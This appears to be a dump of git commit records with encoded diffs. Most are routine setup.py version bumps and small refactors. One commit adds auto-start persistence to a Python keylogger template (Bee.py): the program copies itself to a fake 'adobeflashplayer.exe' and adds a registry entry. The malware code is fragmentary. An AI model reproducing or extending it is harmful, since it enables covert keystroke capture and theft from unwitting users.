@@ -460,17 +460,17 @@
ll/v0.8.
-2
+4
', # I'l
|
8a5f28e56130797cf767126f8e5e78bd35ba43b4 | Add Auto Persistence | Templates/Bee.py | Templates/Bee.py | import pythoncom, pyHook
import os
import sys
import threading
import urllib,urllib2
import smtplib
import datetime,time
import win32event, win32api, winerror
from _winreg import *
mutex = win32event.CreateMutex(None, 1, 'N0tAs519n')
if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
mutex = None
pri... | Python | 0 | @@ -114,16 +114,39 @@
me,time%0A
+import win32com.client%0A
import w
@@ -379,16 +379,367 @@
ount=0%0A%0A
+dir = %22C:%5C%5CUsers%5C%5CPublic%5C%5CLibraries%5C%5Cadobeflashplayer.exe%22%0A%0Adef startup():%0A shutil.copy(sys.argv%5B0%5D,dir)%0A aReg = ConnectRegistry(None,HKEY_CURRENT_USER)%0A aKey = OpenKey... |
5e6a09829530c8af6f681621f57929a9343f4973 | Add maintainer to `setup.py` | setup.py | setup.py | #!/usr/bin/env python
import sys
from setuptools import setup
from setuptools.command.test import test as TestCommand
class Tox(TestCommand):
def finalize_options(self):
TestCommand.finalize_options(self)
self.test_args = []
self.test_suite = True
def run_tests(self):
# impo... | Python | 0 | @@ -658,16 +658,91 @@
t.com',%0A
+ maintainer=%22Dmitry Dygalo%22,%0A maintainer_email=%22dadygalo@gmail.com%22,%0A
url=
|
66b1fdb9106de330112a32b59da6dc891c76717a | Use .partition and variable names rather than indexes into a list. | irc/message.py | irc/message.py | from __future__ import print_function
class Tag(object):
"""
An IRC message tag ircv3.net/specs/core/message-tags-3.2.html
"""
@staticmethod
def parse(item):
r"""
>>> Tag.parse('x') == {'key': 'x', 'value': None}
True
>>> Tag.parse('x=yes') == {'key': 'x', 'value': ... | Python | 0 | @@ -1859,31 +1859,45 @@
-a = group.split
+main, sep, ext = group.partition
(%22 :%22
-, 1
)%0A
@@ -1918,12 +1918,12 @@
s =
-a%5B0%5D
+main
.spl
@@ -1942,19 +1942,11 @@
if
-len(a) == 2
+sep
:%0A
@@ -1976,12 +1976,11 @@
end(
-a%5B1%5D
+ext
)%0A%0A
|
439f2009e38d5c31795c9e947e158a2c7553c59b | Bump minimum version of six to 1.13.0 | setup.py | setup.py | # Standard library imports
import os
from setuptools import setup, find_packages
def read(filename):
with open(filename) as stream:
return stream.read()
# Read package metadata from __about__.py, to avoid importing the whole
# package prior to installation.
about = dict()
with open(os.path.join("uplink"... | Python | 0.000001 | @@ -474,17 +474,17 @@
six%3E=1.1
-2
+3
.0%22, %22ur
|
5bd3d11c1e79f1bcbf40d4838543fed56dddad1f | Bump version to 0.1.2 | setup.py | setup.py | from distutils.core import setup
from setuptools import find_packages
dependencies = [
'flake8==2.4.1',
'Jinja2==2.7.3',
'MarkupSafe==0.23',
'mock==1.0.1',
'pydns==2.3.6',
'redis==2.10.3',
'validate-email==1.3',
'Werkzeug==0.10.4',
'wheel==0.24.0'
]
setup(
name='formsender',
... | Python | 0.000001 | @@ -328,17 +328,17 @@
on='0.1.
-1
+2
',%0A i
|
edef7290f802cacf3d729d80a9462e6a175b9269 | Bump version number | setup.py | setup.py | import codecs
import os
from setuptools import setup, find_packages
def read(filename):
filepath = os.path.join(os.path.dirname(__file__), filename)
return codecs.open(filepath, encoding='utf-8').read()
setup(
name='lemon-publications',
version='0.1.dev',
license='ISC',
description='Utils to... | Python | 0.000002 | @@ -266,12 +266,8 @@
'0.1
-.dev
',%0A
|
72ed0accdf752539c2b0b48ffe01d2a843827831 | bump version to 1.1.0 | setup.py | setup.py | import os
from setuptools import setup, find_packages
README = open(os.path.join(os.path.dirname(__file__), 'README.md')).read()
# allow setup.py to be run from any path
os.chdir(os.path.normpath(os.path.join(os.path.abspath(__file__), os.pardir)))
setup(
name='django-bulk-update',
version='1.0.5',
packa... | Python | 0 | @@ -302,11 +302,11 @@
='1.
-0.5
+1.0
',%0A
|
4c1e006506822916e85086a7ae2760e5852f58f9 | version bumped. | setup.py | setup.py | #!/usr/bin/env python
try:
from setuptools import setup, find_packages
except ImportError:
from ez_setup import use_setuptools
use_setuptools()
from setuptools import setup, find_packages
setup(
name='fabric_deploy',
version='0.2.1git',
description='capistrano like deploy recipe for fabric',
author='Y... | Python | 0 | @@ -237,17 +237,17 @@
on='0.2.
-1
+2
git',%0A
|
6a214634545cfe5721550dfa90bb617a2ba95f00 | revert preventing normalization (#69) | setup.py | setup.py | # -*- coding: utf-8 -*-
#
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law... | Python | 0 | @@ -639,613 +639,8 @@
ls%0A%0A
-# Disable version normalization performed by setuptools.setup()%0Atry:%0A # Try the approach of using sic(), added in setuptools 46.1.0%0A from setuptools import sic%0Aexcept ImportError:%0A # Try the approach of replacing packaging.version.Version%0A sic = lambda v: v%0A ... |
48118cd46624017ca2510d81e7e54e463acbb367 | Use find_packages | setup.py | setup.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import print_function
import codecs
from setuptools import setup
import bqdm
with codecs.open('README.rst', 'rb', 'utf-8') as readme:
long_description = readme.read()
setup(
name='BigQuery-DatasetManager',
version=bqdm.__version__,
des... | Python | 0.00001 | @@ -121,16 +121,31 @@
rt setup
+, find_packages
%0A%0Aimport
@@ -679,16 +679,23 @@
ges=
-%5B'bqdm'%5D
+find_packages()
,%0A
|
63a5e15887333e814436b3d54dc5381c7bf89f03 | Update spacy requirement from <2.3,>=2.1.0 to >=2.1.0,<2.4 (#4370) | setup.py | setup.py | from setuptools import find_packages, setup
# PEP0440 compatible formatted version, see:
# https://www.python.org/dev/peps/pep-0440/
#
# release markers:
# X.Y
# X.Y.Z # For bugfix releases
#
# pre-release markers:
# X.YaN # Alpha release
# X.YbN # Beta release
# X.YrcN # Release Candidate
# X.Y ... | Python | 0 | @@ -1785,17 +1785,17 @@
.1.0,%3C2.
-3
+4
%22,%0A
|
e3f153b4a41bd178e018e045d000d628083cc222 | fix setup.py entry point | setup.py | setup.py | """
A setuptools based setup module.
See:
https://packaging.python.org/en/latest/distributing.html
https://github.com/pypa/sampleproject
"""
# Always prefer setuptools over distutils
from setuptools import setup, find_packages
# To use a consistent encoding
from codecs import open # pylint: disable=redefined-builti... | Python | 0 | @@ -3357,16 +3357,25 @@
service=
+mppsolar.
mpp-sola
|
b19e4b003d7e3355ea7e8e747a302286fdd90cc3 | Set version | setup.py | setup.py | """This file is part of DING0, the DIstribution Network GeneratOr.
DING0 is a tool to generate synthetic medium and low voltage power
distribution grids based on open data.
It is developed in the project open_eGo: https://openegoproject.wordpress.com
DING0 lives at github: https://github.com/openego/ding0/
The docume... | Python | 0.000001 | @@ -702,19 +702,16 @@
='v0.1.6
-dev
',%0A
|
8f07d6b9287f889cc301be560dc6d40e011462da | add requires libs | setup.py | setup.py | # -*- coding: utf-8 -*-
import sys
from setuptools import setup, find_packages
__version__ = '1.0.0.gm'
install_requires = [
'Flask',
'pycrypto',
'pyyaml',
'simplejson',
'gevent',
'requests',
'iso8601',
'blinker',
'SQLAlchemy',
'mysql-python'
]
if sys.version_info < (2, ... | Python | 0.000001 | @@ -1,8 +1,10 @@
+
# -*- co
@@ -286,16 +286,29 @@
-python'
+,%0A 'redis'
%0A%5D%0Aif sy
@@ -489,9 +489,12 @@
%5D),%0A
-%09
+
inst
|
4b207fd1da5feda1d4464919000954d7dfec29ab | Enable C++11 features | setup.py | setup.py | #!/usr/bin/env python
# vim: set fileencoding=utf-8 :
# Andre Anjos <andre.anjos@idiap.ch>
# Mon 16 Apr 08:18:08 2012 CEST
from setuptools import setup, find_packages
from distutils.extension import Extension
from Cython.Distutils import build_ext
import subprocess
import numpy
def pkgconfig(package):
def uniq(seq... | Python | 0.000002 | @@ -2571,24 +2571,48 @@
'-g',%0A
+ '-std=c++11',%0A
'-
|
2273f7b358ee1af873a07284a0dccd5e7d003ff0 | Bump version to 0.1.0 | setup.py | setup.py | # Copyright (C) 2014 Glamping Hub (https://glampinghub.com)
# License: BSD 3-Clause
import fnmatch
import os
from setuptools import setup, find_packages
def read(*rnames):
return open(os.path.join(os.path.dirname(__file__), *rnames)).read()
def recursive_include(directory, patterns):
result = []
for ro... | Python | 0.000001 | @@ -653,11 +653,11 @@
='0.
-0.9
+1.0
',%0A
|
c04f6069616d8470e922a9b8af5a12e6257acceb | clean up setup | setup.py | setup.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from setuptools import setup, find_packages
with open('README.rst') as readme_file:
readme = readme_file.read()
with open('HISTORY.rst') as history_file:
history = history_file.read()
requirements = [
# TODO: put package requirements here
]
test_requiremen... | Python | 0.000002 | @@ -384,16 +384,36 @@
ements =
+ %5Bi.strip() for i in
open('r
@@ -441,16 +441,17 @@
dlines()
+%5D
%0Asetup(%0A
@@ -770,39 +770,8 @@
(),%0A
- include_package_data=True,%0A
@@ -1419,66 +1419,6 @@
%5D,%0A
- test_suite='tests',%0A tests_require=test_requirements%0A
)%0A
|
10c12e21d1a1b7e0382ef9e6f5298b1bb4372791 | Fix package dependencies | setup.py | setup.py | #!/usr/bin/env python
from setuptools import setup, find_packages
setup(
name='ros_get',
package_dir={'': 'src'}, # tell distutils packages are under src
packages=find_packages('src'), # include all packages under src
install_requires=[
'argcomplete',
'catkin_tools',
'colorlog... | Python | 0.000008 | @@ -272,16 +272,38 @@
plete',%0A
+ 'catkin_pkg',%0A
@@ -354,16 +354,34 @@
'mock',%0A
+ 'rosdep',%0A
@@ -425,16 +425,76 @@
rator',%0A
+ 'trollius', # remove when catkin%3E0.4.4 is released%0A
|
98c8f10b2e7778c8aa9e9164bfd3e5b18679c7b4 | Bump version: 0.0.3 → 0.0.4 | setup.py | setup.py | """
trafficserver_exporter
----------------------
An Apache Traffic Server metrics exporter for Prometheus. Uses the
stats_over_http plugin to translate JSON data into Prometheus format.
"""
from setuptools import setup
setup(
name='trafficserver_exporter',
version='0.0.3',
author='Greg Dallavalle',
... | Python | 0 | @@ -277,17 +277,17 @@
on='0.0.
-3
+4
',%0A a
|
7a6052ac502ac64f99810c11b4d4c9244840a115 | Prepare openprocurement.auction 1.2.3.dev3. | setup.py | setup.py | from setuptools import setup, find_packages
import os
version = '1.2.3.dev1'
setup(name='openprocurement.auction',
version=version,
description="",
long_description=open("README.txt").read() + "\n" +
open(os.path.join("docs", "HISTORY.txt")).read(),
# Get more strings fr... | Python | 0 | @@ -68,17 +68,17 @@
.2.3.dev
-1
+3
'%0A%0Asetup
|
52b448b2bf3efc1b88a17d2bbaef054beec38cc4 | version 1.0.13 | setup.py | setup.py | import subprocess
import sys
from setuptools import setup, find_packages, Command
from setuptools.command.test import test as TestCommand
version = '1.0.12'
class PyTest(TestCommand):
user_options = [('pytest-args=', 'a', "Arguments to pass to py.test")]
def initialize_options(self):
TestCommand.ini... | Python | 0.000001 | @@ -152,9 +152,9 @@
.0.1
-2
+3
'%0A%0A%0A
|
3dd81caadd1c446cda1c5614c9e2f057769c5a6a | Version bump. | setup.py | setup.py | # -*- coding: utf-8 -*-
from os.path import join, dirname
from setuptools import setup
README = open(join(dirname(__file__), 'README.rst')).read()
setup(
name='pyoneall',
version='0.2',
packages=['pyoneall'],
install_requires=['future'],
license='MIT License, see LICENSE file',
description='On... | Python | 0 | @@ -186,16 +186,18 @@
ion='0.2
+.1
',%0A p
|
ef313e770c4aa4201f6478c150e6236a127d7a57 | Reformat setup.py | setup.py | setup.py | from setuptools import setup
version = "2.0.0"
url = "https://github.com/JIC-CSB/dtoolcore"
readme = open('README.rst').read()
setup(name="dtoolcore",
packages=["dtoolcore"],
version=version,
description="Core API for managing (scientific) data",
long_description=readme,
include_package... | Python | 0 | @@ -129,16 +129,21 @@
%0A%0Asetup(
+%0A
name=%22dt
@@ -152,18 +152,16 @@
lcore%22,%0A
-
pack
@@ -184,18 +184,16 @@
%22%5D,%0A
-
version=
@@ -201,18 +201,16 @@
ersion,%0A
-
desc
@@ -264,18 +264,16 @@
a%22,%0A
-
long_des
@@ -293,18 +293,16 @@
me,%0A
-
-
include_
@@ -320,26 +3... |
083dd03d91b4f62303bb8f2c27ee93c47c89d713 | Version bump. | setup.py | setup.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Copyright (C) 2011-2012 Alexander Shorin
# All rights reserved.
#
# This software is licensed as described in the file COPYING, which
# you should have received as part of this distribution.
#
try:
from setuptools import setup, find_packages
except ImportError:
... | Python | 0 | @@ -1147,17 +1147,17 @@
on = '0.
-2
+3
',%0A d
|
7381c29741cd3a4adf46d2ad03299acaf3777f94 | Bump Python package version to 3.3.2 | setup.py | setup.py | from __future__ import print_function
from os import sys, path
try:
from skbuild import setup
except ImportError:
print('scikit-build is required to build from source.', file=sys.stderr)
print('Please run:', file=sys.stderr)
print('', file=sys.stderr)
print(' python -m pip install scikit-build')
... | Python | 0.000006 | @@ -385,17 +385,17 @@
on='3.3.
-1
+2
',%0A a
|
4a85ac67d88b7e7830b40efa30c43e82d69848c0 | Fix setup.py test_suite | setup.py | setup.py | #!/usr/bin/env python
import os
from setuptools import setup, find_packages
from pyjsonrpclite import version
def read(fname):
try:
return open(os.path.join(os.path.dirname(__file__), fname)).read()
except IOError:
return ""
setup(
name="py-jsonrpc-lite",
version=version,
packag... | Python | 0.000003 | @@ -353,59 +353,17 @@
te=%22
-nose.collector%22,%0A tests_require=%5B%22nose%22, %22mock%22%5D
+unittest%22
,%0A%0A
|
672d6cb517198bc37c4126c997ba984901a14b55 | Use io.open with encoding='utf-8' and flake8 compliance | setup.py | setup.py | import os, io
from setuptools import setup, find_packages
long_description = (
io.open('README.rst', encoding='utf-8').read()
+ '\n' +
io.open('CHANGES.txt', encoding='utf-8').read())
setup(name='more.jinja2',
version='0.3.dev0',
description="Jinja2 template integration for Morepath",
lo... | Python | 0.000001 | @@ -3,16 +3,12 @@
port
- os,
io%0A
+
from
@@ -67,16 +67,26 @@
ption =
+'%5Cn'.join(
(%0A io
@@ -133,21 +133,9 @@
ad()
-%0A + '%5Cn' +
+,
%0A
@@ -182,16 +182,18 @@
).read()
+%0A)
)%0A%0Asetup
@@ -781,19 +781,17 @@
_require
- =
+=
dict(%0A
|
cd3212657d45d7e2e135d66fb482e2b443362264 | python2 y python3 | setup.py | setup.py | # -*- coding: utf-8 -*-
from setuptools import setup, find_packages
from libreborme import get_version
def get_install_requires():
"""
parse requirements.txt, ignore links, exclude comments
"""
requirements = []
for line in open('requirements/base.txt').readlines():
# skip to next iterat... | Python | 0.999321 | @@ -97,16 +97,27 @@
version%0A
+import sys%0A
%0A%0Adef ge
@@ -570,16 +570,165 @@
ements%0A%0A
+if sys.version_info%5B0%5D == 3:%0A long_description = open('README.md', encoding='utf-8').read()%0Aelse:%0A long_description = open('README.md').read()%0A
%0Asetup(%0A
@@ -910,50 +910,24 @@
ion=
-open('README.md'... |
e83791b2c8ac2da770aa726f070b016f6c0e0b46 | Bump version to account for protobuf file change | setup.py | setup.py | # -*- coding: utf-8 -
import os
import sys
from setuptools import setup
setup(
name = 'bernhard',
version = '0.0.3',
description = 'Python client for Riemann',
long_description = file(
os.path.join(
os.path.dirname(__file__),
'README.md'
)
).read(),
au... | Python | 0 | @@ -121,9 +121,9 @@
0.0.
-3
+4
',%0A%0A
|
ff437c7fe6e62b29e36db7ab5ad495dae2928121 | version bump to 0.6.1 | setup.py | setup.py | import os
from setuptools import setup
def read(fname):
return open(os.path.join(os.path.dirname(__file__), fname)).read()
setup(
name="okcupyd",
version="0.6.0",
packages=['okcupyd', 'okcupyd_testing'],
install_requires=['lxml', 'requests >= 2.4.1', 'simplejson',
'sqlalchem... | Python | 0 | @@ -167,17 +167,17 @@
on=%220.6.
-0
+1
%22,%0A p
|
11fff46d9723eafd98f9739f024217b9fcfe714a | Fix issue with reinstalling (stallone extension will only be rebuild, if it could not be imported or env variable REBUILD_STALLONE is set to something), Able to create a nearly full source dist (needed for tox). Jars are yet not included (wip). | setup.py | setup.py | #!/usr/bin/env python
__version__ = 2.0
# prefer setuptools in favour of distutils
try:
from setuptools.core import setup
except ImportError:
from distutils.core import setup
def setupPyStallone():
try:
from jcc import cpp as cpp
except ImportError:
raise RuntimeError('Apache JCC not ... | Python | 0 | @@ -179,16 +179,61 @@
setup%0A%0A
+from os import environ%0Afrom sys import argv%0A%0A
def setu
@@ -857,16 +857,35 @@
_names',
+ # does not work...
%0A
@@ -909,16 +909,37 @@
allone',
+ # python module name
%0A
@@ -1031,16 +1031,17 @@
+#
'--egg-i
@@ -1062,42 +1062,308 @@
'--
-files', '2... |
ac5931b002d47eeeafed242f31e7f65bb01b00cd | version bump | setup.py | setup.py | from setuptools import setup, find_packages
setup(
name='jmbo-paste',
version='0.1.4',
description='Python Paste templates creating Jmbo Buildout environments.',
long_description = open('README.rst', 'r').read() + open('AUTHORS.rst', 'r').read() + open('CHANGELOG.rst', 'r').read(),
author='Praekelt... | Python | 0.000001 | @@ -85,17 +85,17 @@
on='0.1.
-4
+5
',%0A d
|
f33d4795939aacacd9b8909c0f3977f3d45f524f | bump version for cuda8 fix | setup.py | setup.py | import glob
import logging
import os.path
import platform
import sys
from setuptools import Extension, setup, find_packages
from cuda_setup import CUDA, build_ext
NAME = 'implicit'
VERSION = '0.3.0'
try:
from Cython.Build import cythonize
use_cython = True
except ImportError:
use_cython = False
is_dev ... | Python | 0 | @@ -192,17 +192,17 @@
= '0.3.
-0
+1
'%0A%0Atry:%0A
|
79db6d9c0267533c9e504739f03e25ddccee2353 | Bump flake8 from 3.7.8 to 3.7.9 | setup.py | setup.py | import re
from setuptools import setup, Command
EXTRAS_REQUIRE = {
"tests": ["pytest", "mock", "scripttest==1.3", "ipython", "bpython"],
"lint": [
"mypy==0.740",
"flake8==3.7.8",
"flake8-bugbear==19.8.0",
"pre-commit==1.20.0",
],
}
EXTRAS_REQUIRE["dev"] = (
EXTRAS_REQUI... | Python | 0 | @@ -194,17 +194,17 @@
e8==3.7.
-8
+9
%22,%0A
|
62566046edbc90d2b4058e216075c70d1d998924 | complete request filtering on fqdn and add format_fqdn method | tenderloin/listeners/web.py | tenderloin/listeners/web.py | from collections import defaultdict
import logging
import tornado.web
from tenderloin.listeners import plugin_data
class WebHandler(tornado.web.RequestHandler):
def to_path(self, metrics, prefix=""):
if isinstance(metrics, dict):
for k, v in metrics.iteritems():
if prefix:
... | Python | 0 | @@ -112,16 +112,88 @@
_data%0A%0A%0A
+def format_fqdn(fqdn):%0A return %22.%22.join(reversed(fqdn.split(%22.%22)))%0A%0A%0A
class We
@@ -1137,42 +1137,24 @@
= %7B
-%22.%22.join(reversed(fqdn.split(%22.%22))
+format_fqdn(fqdn
): %7B
@@ -1247,39 +1247,21 @@
= %7B
-%22.%22.join(reversed(f.split(%22.%22))
+format... |
21a38c6ef5e498c69a295f992e817ecc8ec317e6 | Update noise.py | tensorlayer/layers/noise.py | tensorlayer/layers/noise.py | #! /usr/bin/python
# -*- coding: utf-8 -*-
import tensorflow as tf
import tensorlayer as tl
from tensorlayer import logging
from tensorlayer.decorators import deprecated_alias
from tensorlayer.layers.core import Layer
__all__ = [
'GaussianNoise',
]
class GaussianNoise(Layer):
"""
The :class:`GaussianNoi... | Python | 0.000001 | @@ -1928,19 +1928,18 @@
s_train
-and
+or
self.is
|
2d2d24ce2246f0c305182adf7e2df3553ee35e97 | include shell scripts in sdist | setup.py | setup.py | from setuptools import setup, find_packages
setup(
name='vdist',
version='0.1',
description='Create OS packages from Python projects using Docker containers',
long_description='Create OS packages from Python projects using Docker containers',
author='L. Brouwer',
author_email='objectified@gmail... | Python | 0.000001 | @@ -505,16 +505,24 @@
es.json'
+, '*.sh'
%5D%7D,%0A
|
1b1f9c4a49e94d18182aa497afcb2ddb42509298 | Modify dumps_requires | setup.py | setup.py | # encoding: utf-8
"""
.. codeauthor:: Tsuyoshi Hombashi <tsuyoshi.hombashi@gmail.com>
"""
from __future__ import unicode_literals
import io
import os.path
import setuptools
MODULE_NAME = "sqliteschema"
REPOSITORY_URL = "https://github.com/thombashi/{:s}".format(MODULE_NAME)
REQUIREMENT_DIR = "requirements"
ENCODI... | Python | 0.000001 | @@ -1059,13 +1059,9 @@
.0,%3C
-1.0.0
+2
%22%5D%0At
|
39bdcfdfc0fc6fb9d44aca914d8febcb1ca8fe60 | Fix dependencies on pypy. (#137) | setup.py | setup.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from setuptools import setup, find_packages
import os.path
import sys
sys.path.insert(0, os.path.abspath('.'))
from exopy.version import __version__
def long_description():
"""Read the project description from the README file.
"""
with open(os.path.join(os... | Python | 0 | @@ -1266,16 +1266,23 @@
%5D%7D,%0A
+python_
requires
@@ -1286,137 +1286,15 @@
res=
-%5B'pyqt5', 'atom', 'enaml', 'kiwisolver',%0A 'configobj', 'watchdog', 'setuptools', 'qtawesome',%0A 'numpy'%5D
+'%3E=3.5'
,%0A
@@ -1490,16 +1490,47 @@
'numpy'
+,%0A 'pyqt5'
%5... |
9eff46c6f72345614ca824ae42dc48c2d420cf9f | Setting zip safe to false | setup.py | setup.py | #!/usr/bin/env python
import os
from setuptools import setup, find_packages
if __name__ == "__main__":
base_dir = os.path.dirname(__file__)
src_dir = os.path.join(base_dir, "src")
about = {}
with open(os.path.join(src_dir, "vivarium", "__about__.py")) as f:
exec(f.read(), about)
with o... | Python | 0.998315 | @@ -2860,15 +2860,40 @@
%22%22%22,
+%0A%0A zip_safe=False,
%0A )%0A
|
3c6de297b06f5ceebf760644810689e8dab910ed | bump version to 2.0.0 to avoid environment modules default bug | setup.py | setup.py | #!/usr/bin/env python
# -*- coding: latin-1 -*-
#
# Copyright 2009-2014 Ghent University
#
# This file is part of vsc-base,
# originally created by the HPC team of Ghent University (http://ugent.be/hpc/en),
# with support of Ghent University (http://ugent.be/hpc),
# the Flemish Supercomputer Centre (VSC) (https://vscen... | Python | 0 | @@ -1908,13 +1908,13 @@
': '
-1.9.9
+2.0.0
',%0A
|
e6b9e9dbd3a04374ce80334a1ac09d14931f009b | bump version | setup.py | setup.py | import os
from setuptools import setup
def read(fname):
return open(os.path.join(os.path.dirname(__file__), fname)).read()
setup(
name='hops',
version='1.3.5',
author='Robin Andersson',
author_email='robin.eric.andersson@gmail.com',
description='A helper library for Hops that facilitates deve... | Python | 0 | @@ -164,17 +164,17 @@
on='1.3.
-5
+6
',%0A a
@@ -612,9 +612,9 @@
1.3.
-5
+6
.tar
|
52e4fe3913444db501daa0a527a8aef6af8e8deb | Bump up version number on branch. | setup.py | setup.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Copyright (C) 2007 Christopher Lenz
# All rights reserved.
#
# This software is licensed as described in the file COPYING, which
# you should have received as part of this distribution.
from distutils.cmd import Command
import doctest
from glob import glob
import os
tr... | Python | 0 | @@ -3499,17 +3499,17 @@
on = '0.
-1
+2
',%0A d
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.